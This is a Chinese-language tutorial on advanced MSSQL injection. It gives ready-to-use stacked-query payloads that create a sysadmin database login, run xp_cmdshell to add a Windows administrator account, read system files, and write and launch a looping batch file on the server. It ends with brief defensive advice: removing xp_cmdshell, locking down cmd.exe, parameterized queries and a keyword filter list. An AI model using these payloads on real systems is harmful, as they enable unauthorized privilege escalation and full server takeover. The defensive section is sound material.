MSSQL注入的高级应用
数据库提权
1.建立数据库用户(所有的操作均在注入点后面)
;exec master..sp_addlogin yuanli,zllove2005;--
建立一个用户,用户名为yuanli,密码是zllove2005
执行上面的命令后一般会报错(如类型不匹配),但是报这个错误就表示成功执行了
2.将建立的用户加入到数据库管理组中
;exec master..sp_addsrvrolemember yuanli,sysadmin;--
将第一步建立的用户‘yuanli’加入到数据库管理组中
可以使用SQL查询分析器--文件--连接:数据库服务器IP(使用刚才建立的用户名进行数据库连接)
3.查看数据库用户
程序--mssqlserver--企业管理--安全性--登录
操作系统的提权
提权:首先建立普通用户,然后将该用户加入到管理员组
1.建立系统用户
;exec master..xp_cmdshell "net user yuanli zllove2005 /add"--
建立用户名为yuanli,密码为zllove2005的系统用户
2.提权:把hacker加入到administrator组
;exec master..xp_cmdshell "net localgroup administrators yuanli /add"--
3.利用
利用远程桌面
读系统写文件
1.利用查询分析器连接数据库(可以使用上面步骤建立的用户),以下命令在SQL查询分析器中完成
2.create table vvboot(line varchar (8000))
创建表,类型为varchar(可变长度)
3.bulk insert vvboot from 'c:\boot.ini'
4.select * from vvboot
向系统写文件
将下面的代码写入文本文档,并将该文件保存为cmd.cmd
start "good" /high cmd.cmd & exit
将下面的代码写入文本文档,并将该文件保存为a.bat
:1
start iexplore.exe
goto 1
写文件
;exec master..xp_cmdshell 'echo aaa >> c:\u.txt'--
将aaa写入c盘下的u.txt中
例如将上面的a.bat写入系统
;exec master..xp_cmdshell 'echo :1 >> c:\a.bat'--
;exec master..xp_cmdshell 'echo start iexplore.exe >> c:\a.bat'--
;exec master..xp_cmdshell 'echo goto 1 >> c:\a.bat'--
写入完毕,然后就可以在注入点触发该程序
;exec master..xp_cmdshell 'start c:\a.bat'--
前台没有任何提示,但是系统后台一直会报错
防xp_cmdshell
1.删除xp_cmdshell:
;exec master..sp_dropextendedproc 'xp_cmdshell'
2.恢复xp_cmdshell:
;exec master..sp_addextendedproc 'xp_cmdshell','xplog70.dll'
3.关键问题是xplog70.dll这个动态库,删除这个后则xp_cmdshell不能执行,有时做加固会把这个东西改名字
4.彻底防溢出
c:\windows\system32\cmd.exe 删除所有默认权限,添加administrator--完全控制
通过这个操作,也可以防止xp_cmdshell未公布的漏洞
注入防范
安全编码,所有查询参数化
WAF:web、APP、fw
编写防注入脚本:noinject.asp
过滤关键字:and select update or union ; ' sp_ xp_等
防post,get,cookie
脚本漏洞:a.asp conn.asp
在有漏洞脚本调用防注入的脚本: